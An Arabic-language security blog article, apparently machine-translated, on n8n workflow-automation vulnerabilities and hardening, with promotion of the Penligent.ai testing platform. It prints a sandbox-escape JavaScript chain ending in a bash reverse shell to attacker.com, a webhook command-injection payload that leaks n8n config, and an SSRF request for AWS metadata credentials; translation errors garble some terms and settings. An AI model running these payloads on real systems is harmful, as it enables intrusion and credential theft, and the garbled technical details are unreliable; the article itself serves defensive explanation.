رأس القلم

n8n CVE الغوص العميق: النظام العصبي للذكاء الاصطناعي الخفي ونقاط ضعفه الحرجة

إذا كنت تقرأ هذا، فمن المحتمل أنك وجدت المنفذ 5678 مفتوحة على فحص داخلي، أو كنت تقوم بتدقيق مشروع "ظل تكنولوجيا المعلومات" حيث قام المطورون بتجميع مفاتيح AWS وStripe وOpenAI معًا باستخدام n8n.

تصف n8n نفسها بأنها "أداة أتمتة سير عمل عادلة الكود". بالنسبة للفريق الأحمر، فهي شيء آخر تماماً: تنفيذ التعليمات البرمجية عن بُعد كخدمة (RCEaaS).

في حين أن أرقام CVE المحددة (مثل CVE-2022-2666 أو CVE-2021-21379) تأتي وتذهب مع التصحيحات، فإن نموذج التهديد الأساسي لـ n8n يظل ثابتًا. وهو عبارة عن وقت تشغيل Node.js ينفذ منطقًا معرّفًا من قبل المستخدم، وغالبًا ما يكون له امتيازات عالية وإمكانية الوصول إلى مفاتيح واجهة برمجة التطبيقات الحساسة.

يتجاوز هذا الدليل تقارير الثغرات الأمنية على مستوى السطح. سنقوم بتشريح تشريح تشريح اختراق n8n، مع التركيز على عمليات الهروب من صندوق الرمل، والحقن المنطقي، والحدود الجديدة لاستغلال عملاء الذكاء الاصطناعي، ونختتم بكيفية عمل منصات اختبار الذكاء الاصطناعي الخماسي الآلي مثل Penligent.ai تغير مشهد الكشف

بنية الضعف

لفهم ن8 ن سيفي الأنماط، يجب أن تفهم المحرك. n8n ليس تطبيقًا ثابتًا؛ إنه بيئة تنفيذ ديناميكية.

مخاطر وقت تشغيل Node.js

يعمل n8n على Node.js. كل "عقدة" في سير عمل n8n هي في الأساس غلاف حول دالة JavaScript.

  • عقدة "الوظيفة": يسمح للمستخدمين بكتابة JavaScript خام.
  • عقدة "تنفيذ الأمر": التفاف حول العقدة child_process.exec().
  • عقدة "طلب HTTP": التفاف حول أكسيوس أو الطلب.

في التطبيق التقليدي، يقوم المطور بكتابة التعليمات البرمجية وتدقيقها ونشرها. في n8n، يقوم البيانات هي الرمز. يحدد ملف JSON لسير العمل منطق التنفيذ. إذا تمكن أحد المهاجمين من تعديل سير العمل (عن طريق الوصول غير المصرح به) أو التلاعب بالبيانات المتدفقة إليه (عن طريق الحقن)، فإنه يتحكم في سير التنفيذ.

بطاقة "الوصول الشامل"

تم تصميم n8n لربط الأشياء. للقيام بذلك، فإنه يخزن أوراق الاعتماد.

  • كلمات مرور قواعد البيانات (Postgres، MySQL)
  • مفاتيح السحابة (معرف/مفتاح الوصول إلى AWS)
  • رموز SaaS (Slack وSalesforce وOpenAI)

نادرًا ما تكون تسوية مثيل n8n هو الهدف النهائي؛ فهو المحور النهائي. إنه أقرب إلى العثور على ملف نصي باسم كلمات المرور.txt التي يمكنها أيضًا تنفيذ البرامج النصية لباش.

تشريح فئات مكافحة التطرف العنيف الحرجة

دعونا نحلل الآليات التقنية لأخطر فئات الثغرات التي تؤثر على n8n.

هروب صندوق الرمل (عقدة "الوظيفة")

هذا هو الكأس المقدسة لاستغلال n8n. يسمح n8n للمستخدمين بكتابة JavaScript لمعالجة البيانات. لمنع ذلك من تعطل الخادم أو قراءة /etc/passwd، يستخدم n8n صندوق رمل (تاريخيًا vm2وطبقات العزل المصممة خصيصًا فيما بعد).

ومع ذلك، من المعروف أن صناديق رمل Node.js صعبة التأمين.

ميكانيكا الهروب

عادةً ما يتضمن الهروب من صندوق الرمل تلوث النموذج الأولي أو الخروج عن السياق للوصول إلى المضيف العملية كائن. بمجرد أن يكون لدى المهاجم العملية، يمكن أن تتطلب عملية_الطفل وتنفيذ أوامر النظام.

الاستغلال المفاهيمي (السياق التاريخي):

في الإصدارات الأقدم من n8n (أو إذا كان vm2 الثغرات موجودة)، يمكن للمهاجم استخدام سلسلة المُنشئ للخروج من صندوق الحماية.

جافا سكريبت

'/// تحذير: برنامج عمل مفاهيمي لأغراض تعليمية // الهدف: عقدة وظيفة n8n (تكوين قديم/ ضعيف)

// 1- الوصول إلى مُنشئ السلسلة البدائية const string = "الهروب"؛ مُنشئ = string.constructor.constructor;

// 2. تسلق سلسلة النماذج الأولية للحصول على مُنشئ الدالة // وهذا يسمح بإنشاء دالة خارج نطاق صندوق الرمل في بعض التطبيقات const globalFn = constructor.constructor.constructor("عملية الإرجاع");

// 3- تنفيذ للحصول على كائن العملية const mainProcess = globalFn();

// 4- طلب child_process وتنفيذ RCE mainProcess.mainModule.require("child_process").exec("bash -c 'bash -i >& /dev/tcp/attacker.com/444444 0>&1′")؛''؛

سبب استمرار ذلك:

حتى لو قام n8n بتصحيح بعض نقاط الضعف القابلة للاختراق، فإن الخطر يظل قائمًا. إذا كنت تقوم بتشغيل n8n في الوضع: افتراضي (متجانسة)، فإن الهروب من صندوق الرمل يعرض العملية الرئيسية للخطر.

n8n CVE الغوص العميق: النظام العصبي للذكاء الاصطناعي الخفي ونقاط ضعفه الحرجة

حقن المنطق و RCE (عقدة "تنفيذ الأمر")

لا يصنف البائع هذا غالبًا على أنه مكافحة التطرف العنيف لأنه "وظيفة مقصودة"، ولكن بالنسبة لمهندس الأمن، فهو ثغرة أمنية.

السيناريو:

يقوم المطور بإنشاء سير عمل يأخذ اسم الملف من خطاف ويب لمعالجة ملف. يستخدمون تنفيذ الأمر عقدة قيد التشغيل cat /data/{{$json["filename"]}}.

الهجوم

يرسل المهاجم طلب POST إلى خطاف الويب:

JSON

{ "اسم الملف": "file.txt؛ cat /root/.n8n/config >> /data/public/output.txt" }

نظرًا لأن n8n غالبًا ما يعمل مع الثقة الضمنية في منطق "عدم وجود رمز"، نادرًا ما يتم تنفيذ تعقيم المدخلات من قبل المستخدم.

الإصلاح المعماري:

لهذا السبب n8nodes_nodes_exclude موجودة. إذا كنت لا تحتاج إلى تنفيذ shell، فيجب عليك تعطيل هذه العقدة على مستوى متغير البيئة.

تزوير الطلبات من جانب الخادم (SSRF)

غالبًا ما يتم نشر n8n في عمق الشبكة الداخلية للوصول إلى قواعد البيانات الداخلية. وهذا يجعلها هدفًا رئيسيًا لـ SSRF عبر طلب HTTP العقدة.

ناقل الهجوم

  1. يجد المهاجم سير عمل يقبل عنوان URL (على سبيل المثال، "تنزيل صورة من عنوان URL").
  2. إمدادات المهاجمين http://169.254.169.254/latest/meta-data/iam/security-credentials/ (البيانات الوصفية لـ AWS).
  3. يجلب n8n مفاتيح AWS ويعيدها إلى المهاجم عبر مخرجات سير العمل.

على عكس تطبيقات الويب القياسية حيث SSRF هو خطأ، في n8n، فإن إجراء طلبات HTTP عشوائية هو غرض المنتج. يتطلب الدفاع ضد هذا الأمر سياسات صارمة للشبكة (سياسات الشبكة/ترشيح الخروج)، وليس مجرد تصحيحات برمجية.

n8n CVE الغوص العميق: النظام العصبي للذكاء الاصطناعي الخفي ونقاط ضعفه الحرجة

فجوة المصادقة

أكثر "الثغرات" انتشارًا في البرية ليست التعليمات البرمجية، بل التكوين.

مصيدة "دوكر":

تقترح العديد من البرامج التعليمية تشغيل n8n مع:

docker run -p 5678:5678 n8nio/n8n

بشكل افتراضي (في الإصدارات القديمة وبعض التكوينات الحالية)، إذا كان n8n_basic_auth_active_auth_active غير مضبوط على صحيح، يعرض n8n واجهة المستخدم الكاملة دون مصادقة.

واجهة برمجة التطبيقات "المخفية":

حتى لو كانت واجهة المستخدم خلف وكيل، فإن n8n تعرض واجهة برمجة تطبيقات REST.

  • /الراحة/سير العمل: سرد جميع مهام سير العمل.
  • /الراحة/المعتمدون: سرد معرّفات بيانات الاعتماد (وأحياناً القيم المشفرة).
  • /الراحة/الدفع: WebSockets للبيانات في الوقت الحقيقي.

يقوم المهاجم بالبحث عن ن8 ن سيفي غالبًا ما يقوم بالمسح الضوئي لـ /الراحة/سير العمل العودة 200 موافق. بمجرد حصولهم على إمكانية الوصول، لا يحتاجون إلى استغلال. فهم ببساطة البريد سير عمل جديد يحتوي على عقدة الصدفة العكسية وتفعيلها.

أتمتة الهجوم (والدفاع) باستخدام الذكاء الاصطناعي

إن تعقيد سير عمل n8n - الحلقات والشروط والفروع - يجعل التدقيق اليدوي شبه مستحيل على نطاق واسع. لا يمكنك التحقق يدويًا من 500 سير عمل يدويًا بحثًا عن الحقن المنطقي.

هذا هو المكان الذكاء الاصطناعي العميل يدخل ساحة المعركة.

مشكلة الماسحات الضوئية القديمة

تقوم أدوات مثل Nessus أو OpenVAS بالتحقق من:

  1. افتح المنفذ 5678
  2. الخادم: n8n الرأس.
  3. تجزئة الإصدار مقابل قاعدة بيانات CVE.

هم لا يمكن انظر:

  • أن سير العمل #42 يأخذ المدخلات من خطاف ويب غير مصادق عليه ويمررها إلى عقدة استعلام SQL دون تعقيم.
  • أن سير العمل #19 يحتوي على مفاتيح AWS Admin مشفرة بشكل ثابت في عقدة "تعيين".

الحل: Penligent.ai الاختبار الخماسي للذكاء الاصطناعي العميل

Penligent.ai يمثل الجيل التالي من التحقق من صحة الأمان. بدلاً من التواقيع الثابتة، يستخدم Penligent وكلاء الذكاء الاصطناعي لأداء التشويش المنطقي القائم على المنطق.

كيف تدقيق بنليجينت ن8 ن:

  1. تحليل الرسم البياني لسير العمل: لا يقوم Penligent بفحص نقطة النهاية فقط؛ بل يقوم (بإذن) باستيعاب صادرات JSON لسير العمل. فهو يبني رسمًا بيانيًا تبعيًا، ويتتبع "البيانات الملوثة" (المدخلات غير الموثوق بها) من عقد خطاف الويب وصولًا إلى عقد المغسلة (تنفيذ الأمر، SQL، HTTP).
  2. توليد الحمولة الواعية بالسياق: إذا رأى Penligent عقدة تتفاعل مع قاعدة بيانات PostgreSQL، فإنه ينشئ حمولات حقن SQL خاصة ببناء متغير n8n ({{{{$json["id"]}}}). يفهم لغة التعبير الخاصة بـ n8n.
  3. تشويش الهروب من صندوق الرمل بالنسبة لـ الوظيفة العقد، ينشر Penligent برنامج Fuzzer متخصص يقوم بتجربة آلاف الأشكال المختلفة من تلوث النماذج الأولية واختراقات السياق، المصممة خصيصًا لإصدار Node.js الذي يعمل في الحاوية.
  4. فحص كشف أوراق الاعتماد: يقوم Penligent بمسح سجل التنفيذ (إذا كان يمكن الوصول إليه) لمعرفة ما إذا كانت الأسرار قد تم تسجيلها دون قصد في "بيانات التنفيذ"، وهو خطأ شائع يترك الأسرار مرئية لأي شخص لديه حق الوصول للقراءة إلى لوحة التحكم.

عرض القيمة:

في عصر أتمتة الذكاء الاصطناعي، يتم تحديد "سطح الهجوم" الخاص بك من خلال سير عملك، وليس فقط الثنائيات. يتحقق Penligent من صحة المنطق من الأتمتة الخاصة بك، مما يضمن عدم تحول مثيل n8n الخاص بك إلى خادم قيادة وتحكم لخصم ما.

استراتيجية المعالجة والتقوية

اكتشاف ن8 ن سيفي عديم الفائدة بدون استراتيجية تحصين. فيما يلي قائمة مراجعة لمهندس الأمن المتشدد.

العزل البيئي (استراتيجية الحاويات)

لا تقم بتشغيل n8n كجذر.

  • تخطيط المستخدم: تأكَّد من تشغيل حاوية Docker كـ العقدة المستخدم.
  • عمال سريعو الزوال: استخدم n8n في وضع التحجيم. يعالج المثيل الرئيسي واجهة المستخدم، لكن تنفيذ سير العمل يحدث في حاويات "عامل" سريعة الزوال. إذا أدّى سير العمل إلى تشغيل الهروب من Sandbox، فإن المهاجم يكون محصورًا في حاوية عامل يتم إتلافها فورًا بعد التنفيذ.

استبعاد العقدة (الحد من سطح الهجوم)

قم بتعطيل العقد الخطرة إذا كنت لا تستخدمها. أضف هذا إلى docker-compose.yml:

YAML

'البيئة:

  • N8N_NODES_EXCLUDE=[["n8n-nodes-base.executeCommand"، "n8n-nodes-base.ssh"، "n8n-nodes-base.readBinaryFile"، "n8n-nodes-base.writeBinaryFile"]،]

يخفف هذا السطر الواحد 90% من ناقلات RCE.

التحقق الصارم من صحة المدخلات

تعامل مع سير عمل n8n مثل التعليمات البرمجية للواجهة الخلفية.

  • استخدم إذا كان عقدة للتحقق من صحة تنسيقات الإدخال قبل تمرير البيانات إلى العقد الحساسة.
  • لا تمرر أبدًا JSON الخام إلى عُقد SQL؛ استخدم استعلامات ذات معلمات (يدعم n8n ذلك عبر صيغة "التعبير"، ولكن يجب تهيئتها بشكل صحيح).

تصفية خروج الشبكة

يجب أن تكون حاوية n8n الخاصة بك في منطقة منزوعة السلاح بشكل فعال.

  • رفض كل الصادر: بشكل افتراضي، قم بحظر كل حركة المرور الصادرة.
  • قائمة الطعام: اسمح فقط بالاتصالات الصادرة إلى واجهات برمجة التطبيقات المحددة التي تحتاجها (على سبيل المثال, api.stripe.com, api.openai.com). هذا يحيد متجه SSRF.

التحقق المستمر

دمج Penligent.ai في خط أنابيب CI/CD أو عمليات التدقيق الأمني الأسبوعية. بينما يقوم فريقك ببناء وكلاء وعمليات سير عمل جديدة للذكاء الاصطناعي، يعمل Penligent كحارس بوابة تلقائي، ويختبر عمليات سير العمل الجديدة بحثًا عن عيوب منطقية قبل أن يتم نشرها.

الخاتمة

البحث عن ن8 ن سيفي تكشف حقيقة أعمق عن البنية التحتية الحديثة: أدوات الأتمتة هي أنظمة التشغيل الجديدة.

n8n قوي بشكل لا يصدق، ولكن هذه القوة تترجم مباشرة إلى مخاطر. إن مثيل n8n غير المحصّن هو ملعب للمخترقين من الفريق الأحمر - حيث يوفر قدرات استرداد الهجمات الإلكترونية وسرقة بيانات الاعتماد وقدرات التمحور الداخلي للشبكة على طبق من فضة.

لا يتعلق الأمن في هذه البيئة بالعثور على تصحيح ل CVE-2025-XXXX؛ بل يتعلق بالاحتواء المعماري والتحقق المستمر المدرك للمنطق. من خلال الجمع بين التقوية الصارمة للحاويات ومنصات الاختبار الذكية مثل Penligent، يمكنك الاستفادة من قوة الأتمتة دون تسليم مفاتيح مملكتك لأول روبوت يقوم بفحص المنفذ 5678.

المراجع

شارك المنشور:
منشورات ذات صلة
arArabic